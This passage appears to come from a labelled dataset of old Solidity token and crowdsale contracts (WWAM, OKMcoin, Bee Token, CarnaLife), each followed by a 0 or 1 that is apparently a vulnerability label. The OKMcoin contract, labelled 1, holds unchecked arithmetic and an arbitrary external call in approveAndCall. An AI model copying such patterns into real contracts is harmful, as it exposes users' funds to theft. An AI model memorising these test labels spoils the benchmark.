_multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { owner = msg.sender; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; } function() payable { investInternal(msg.sender); } function investInternal(address receiver) stopInEmergency private { if(getState() == State.PreFunding) { if(!earlyParticipantWhitelist[receiver]) { throw; } } else if(getState() == State.Funding) { } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver], weiAmount); tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver], tokenAmount); weiRaised = safeAdd(weiRaised, weiAmount); tokensSold = safeAdd(tokensSold, tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function setEndsAt(uint time) onlyOwner { if(now > time) { throw; } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) throw; loadedRefund = safeAdd(loadedRefund, msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) throw; investedAmountOf[msg.sender] = 0; weiRefunded = safeAdd(weiRefunded, weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) throw; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract WWAMPricingStrategy is PricingStrategy, Ownable, SafeMath { uint round1BeginsAt; uint round2BeginsAt; uint finalRoundBeginsAt; uint baseRate = 5000000000000; enum CurrentRound { Round1, Round2, Final } function WWAMPricingStrategy(uint _round1BeginsAt, uint _round2BeginsAt, uint _finalRoundBeginsAt) { round1BeginsAt = _round1BeginsAt; round2BeginsAt = _round2BeginsAt; finalRoundBeginsAt = _finalRoundBeginsAt; } function getCurrentRound() public returns (CurrentRound){ if (now < round2BeginsAt) return CurrentRound.Round1; else if (now < finalRoundBeginsAt) return CurrentRound.Round2; return CurrentRound.Final; } function tokensToWei(uint tokens) public constant returns (uint) { return safeMul(tokens, baseRate); } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) { if (value < 10 finney) return 0; if (getCurrentRound() == CurrentRound.Round1) return safeMul(safeDiv(safeDiv(value, baseRate), 100), 115); else if (getCurrentRound() == CurrentRound.Round2) return safeMul(safeDiv(safeDiv(value, baseRate), 100), 110); return value / baseRate; } } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract WWAMBountyToken is StandardToken, Ownable { mapping (address => bool) public bountyAgents; event BountyAgentChanged(address addr, bool state ); function revokeTokens(address receiver, uint tokenAmount) onlyBountyAgent { if (balances[receiver] >= tokenAmount) { totalSupply = safeSub(totalSupply, tokenAmount); balances[receiver] = safeSub(balances[receiver], tokenAmount); } } function setBountyAgent(address addr, bool state) onlyOwner public { bountyAgents[addr] = state; BountyAgentChanged(addr, state); } modifier onlyBountyAgent() { if(!bountyAgents[msg.sender]) { throw; } _; } } contract MintableToken is StandardToken, Ownable { bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = safeAdd(totalSupply, amount); balances[receiver] = safeAdd(balances[receiver], amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } } contract WWAMCrowdsale is Crowdsale { uint investmentCapInWei = 500000000000000000000000; uint public bountyTokens = 0; mapping (address => uint256) public bountyRewards; function WWAMCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, 500000000000000000000) { } function assignBountyTokens(address receiver, uint tokenAmount) onlyOwner { uint bountyWeiAmount = WWAMPricingStrategy(pricingStrategy).tokensToWei(tokenAmount); uint totalBountyWeiAmount = WWAMPricingStrategy(pricingStrategy).tokensToWei(bountyTokens); if (safeAdd(bountyWeiAmount, totalBountyWeiAmount) >= (investmentCapInWei / 100)) throw; bountyRewards[receiver] = safeAdd(bountyRewards[receiver], tokenAmount); bountyTokens = safeAdd(bountyTokens, tokenAmount); assignTokens(receiver, tokenAmount); } function revokeBountyTokens(address receiver, uint tokenAmount) onlyOwner { if (bountyRewards[receiver] < tokenAmount) throw; bountyTokens = safeSub(bountyTokens, tokenAmount); bountyRewards[receiver] = safeSub(bountyRewards[receiver], tokenAmount); WWAMBountyToken bountyToken = WWAMBountyToken(token); bountyToken.revokeTokens(receiver, tokenAmount); } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool) { return weiRaisedTotal > investmentCapInWei; } function isCrowdsaleFull() public constant returns (bool) { return weiRaised >= investmentCapInWei; } function assignTokens(address receiver, uint tokenAmount) private { MintableToken mintableToken = MintableToken(token); mintableToken.mint(receiver, tokenAmount); } }
0
contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ERC20Token( ) { balances[msg.sender] = 10000000000000000; totalSupply = 10000000000000000; name = "OKMcoin"; decimals = 8; symbol = "OKM"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BeeToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "BEE"; string public constant name = "Bee Token"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 150000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; address public adminAddr; address public tokenOfferingAddr; bool public transferEnabled = false; modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } function BeeToken(address admin) public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = totalSupply; Transfer(address(0x0), msg.sender, totalSupply); adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } function enableTransfer() external onlyOwner { transferEnabled = true; approve(tokenOfferingAddr, 0); } function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } } contract BeeTokenOffering is Pausable { using SafeMath for uint256; uint256 public startTime; uint256 public endTime; address public beneficiary; BeeToken public token; uint256 public rate; uint256 public weiRaised; uint256 public capDoublingTimestamp; uint256 public capReleaseTimestamp; uint256[3] public tierCaps; mapping(uint8 => mapping(address => bool)) public whitelists; mapping(address => uint256) public contributions; uint256 public constant FUNDING_ETH_HARD_CAP = 5000 * 1 ether; uint256 public constant MINIMUM_CONTRIBUTION = 10**17; Stages public stage; enum Stages { Setup, OfferingStarted, OfferingEnded } event OfferingOpens(uint256 startTime, uint256 endTime); event OfferingCloses(uint256 endTime, uint256 totalWeiRaised); event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); modifier atStage(Stages expectedStage) { require(stage == expectedStage); _; } modifier validPurchase(uint8 tier) { require(tier < tierCaps.length); require(now >= startTime && now <= endTime && stage == Stages.OfferingStarted); uint256 contributionInWei = msg.value; address participant = msg.sender; require(participant != address(0) && contributionInWei >= MINIMUM_CONTRIBUTION); require(weiRaised.add(contributionInWei) <= FUNDING_ETH_HARD_CAP); uint256 initialCapInWei = tierCaps[tier]; if (now < capDoublingTimestamp) { require(contributions[participant].add(contributionInWei) <= initialCapInWei); } else if (now < capReleaseTimestamp) { require(contributions[participant].add(contributionInWei) <= initialCapInWei.mul(2)); } _; } function BeeTokenOffering( uint256 beeToEtherRate, address beneficiaryAddr, uint256 baseContributionCapInWei, address tokenAddress ) public { require(beeToEtherRate > 0); require(beneficiaryAddr != address(0)); require(tokenAddress != address(0)); require(baseContributionCapInWei >= MINIMUM_CONTRIBUTION); token = BeeToken(tokenAddress); rate = beeToEtherRate; beneficiary = beneficiaryAddr; stage = Stages.Setup; tierCaps[0] = baseContributionCapInWei.mul(3); tierCaps[1] = baseContributionCapInWei.mul(2); tierCaps[2] = baseContributionCapInWei; } function () public payable { buy(); } function ownerSafeWithdrawal() external onlyOwner { beneficiary.transfer(this.balance); } function updateRate(uint256 beeToEtherRate) public onlyOwner atStage(Stages.Setup) { rate = beeToEtherRate; } function whitelist(uint8[] tiers, address[] users) public onlyOwner { require(tiers.length == users.length); for (uint32 i = 0; i < users.length; i++) { require(tiers[i] < tierCaps.length); whitelists[tiers[i]][users[i]] = true; } } function startOffering(uint256 durationInSeconds) public onlyOwner atStage(Stages.Setup) { stage = Stages.OfferingStarted; startTime = now; capDoublingTimestamp = startTime + 24 hours; capReleaseTimestamp = startTime + 48 hours; endTime = capReleaseTimestamp.add(durationInSeconds); OfferingOpens(startTime, endTime); } function endOffering() public onlyOwner atStage(Stages.OfferingStarted) { endOfferingImpl(); } function buy() public payable whenNotPaused atStage(Stages.OfferingStarted) returns (bool) { for (uint8 i = 0; i < tierCaps.length; ++i) { if (whitelists[i][msg.sender]) { buyTokensTier(i); return true; } } revert(); } function hasEnded() public view returns (bool) { return now > endTime || stage == Stages.OfferingEnded; } function buyTokensTier(uint8 tier) internal validPurchase(tier) { address participant = msg.sender; uint256 contributionInWei = msg.value; uint256 tokens = contributionInWei.mul(rate); if (!token.transferFrom(token.owner(), participant, tokens)) { revert(); } weiRaised = weiRaised.add(contributionInWei); contributions[participant] = contributions[participant].add(contributionInWei); if (weiRaised >= FUNDING_ETH_HARD_CAP) { endOfferingImpl(); } beneficiary.transfer(contributionInWei); TokenPurchase(msg.sender, contributionInWei, tokens); } function endOfferingImpl() internal { endTime = now; stage = Stages.OfferingEnded; OfferingCloses(endTime, weiRaised); } function allocateTokensBeforeOffering(address to, uint256 tokens) public onlyOwner atStage(Stages.Setup) returns (bool) { if (!token.transferFrom(token.owner(), to, tokens)) { revert(); } return true; } function batchAllocateTokensBeforeOffering(address[] toList, uint256[] tokensList) external onlyOwner atStage(Stages.Setup) returns (bool) { require(toList.length == tokensList.length); for (uint32 i = 0; i < toList.length; i++) { allocateTokensBeforeOffering(toList[i], tokensList[i]); } return true; } }
0
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "CarnaLife Token"; string public constant TOKEN_SYMBOL = "CLC"; bool public constant PAUSED = true; address public constant TARGET_USER = 0x69D8fD25c05d07D3Fc5280040ba0BDe4d5C4d399; uint public constant START_TIME = 1550230200; bool public constant CONTINUE_MINTING = true; } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() 